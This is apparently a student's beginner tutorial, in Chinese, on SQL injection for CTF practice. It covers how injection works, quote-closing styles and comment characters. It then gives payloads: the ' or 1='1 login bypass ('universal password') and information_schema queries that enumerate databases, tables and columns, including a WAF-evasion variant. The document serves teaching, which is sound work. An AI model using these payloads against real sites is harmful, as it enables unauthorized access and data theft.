关于sql的初步入门(自己总结,很菜)
原理阐述
简单来说就是你在一个网站上输入账号密码,网站会把你输入的账号密码拿去和数据库里的数据就行匹配,如果匹配成功则返回给你一个值(东西,具体由网站设计,一般在比赛里可能就是flag啥的),不成功则返回另外一个值,我们要用的就是使用这个sql语句和有关函数,让网页对我们的指令不完整的过滤或者不过滤从而造成数据库里数据的回显,也就是说我们通过指令将把他的数据库里面的对我们有用的值反应出来,当然有些也有可能没有返回值,然后根据这些有提示的东西,从而得到你想要得到的。
百度百科是这么说的:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的sql语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
select * from user where username='' and pass='' # 构造 username=devnull' or '1后,sql 语句变成 select * from user where username='devnull' or '1' and pass=''
sql语句如上
第一行是原始语句,相信大家都能看的懂 从数据库中user这里面找到用户='(你想查找的用户名)'和密码
第二行是要利用sql构造
第三行是构造出的sql语言,也就是我们给他输入的语言,这个代码的意思就是,首先我们要知道优先级()>and>or
那么我们以or为分割,看两边的语句,如果or两边有一边为真,那么就是如果有一个用户叫devnu11那就为真or后面的语句是真是假已经不重要了,那么聪明的同学们可能已经发现 了,我要是构造or函数有一边一定为真呢?比如说我有一边写出 1 = 1,那么是不是这个傻呆呆的网址就会判定我们正确呢?这就是万能密码,下面会讲到。
三种闭合方式
在我们注入的过程中,写出的语句中最关键的是用户名还有密码,有三种闭合方式
1."" 双引号闭合
2.'' 单引号闭合
3.() 括号闭合
当然在搜索的时候还发现了很多其他奇奇怪怪的闭合方式,放张图在这里,碰到了大家自求多福吧👍
一些常见的sql语句和注释符
注释符
-
#
注释从#字符到行尾 -
--
注释从–序列到行尾,后面需要跟上一个或多个空格,tab也可以 -
/* */
注释中间的字符
(注释就是你要把这句话放到sql语句代码里面)
sql语句
# 获取当前的数据库用户,数据库名称,数据库的版本信息 select user(),database(),version() from dual; # 查询数据库,有时需要限制返回的数量,或者偏移,例如页面只显示一条数据的情况 limit 0,1 limit 1,2 # 需要通过偏移来返回所有的数据库 select schema_name from information_schema.schemata; # group_concat 函数是将多行数据连接成一行 select group_concat(schema_name) from information_schema.schemata; # 查询表 # 方法1 select group_concat(table_name) from information_schema.tables where table_schema=database(); # 方法2 select table_name from information_schema.tables where table_schema='database_name'; # 方法3 select table_name from information_schema.tables where table_schema=(select database()); # 查询列 select column_name from information_schema.columns where table_schema='database_name' and table_name='users'; select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'; # 上面可能会被waf识别,也可以这样 select group_concat(column_name) from information_schema.columns where table_name='users'; # 字符串可以转换成16进制 select concat(group_concat(distinct+column_name)) from information_schema.columns where table_name=0x696e666f;
真的字太多了,我就不一个个打了,一定要好好看看!!!
万能密码
原理
(来自陈学长的话)
你去登录的话,账号和密码是要匹配才行
有两个判断条件比较关键,一个是账号能查到,一个是账号和密码匹配
但是我们可以对第二个条件做手脚
随便输入一个密码,然后在密码那里加入一个 或者 or 的判断, 比如 or 1 =1 这个肯定是成立的条件1 or 条件2 了,只要有一个符合就行,那么1=1符合了,就是真了,前面用户名和密码是否匹配就无所谓了
语言表达
select * from user where username='' or 1='1'
大概原理:我们输入的是密码中的闭合部分,而加入了#字符,系统会把我们输入的当做sql语言传入,那么此时由于我们当中有个1=1恒正确,系统就不会检测我们的账号和密码匹配,账号与密码匹配就可有可无了,从而是万能密码。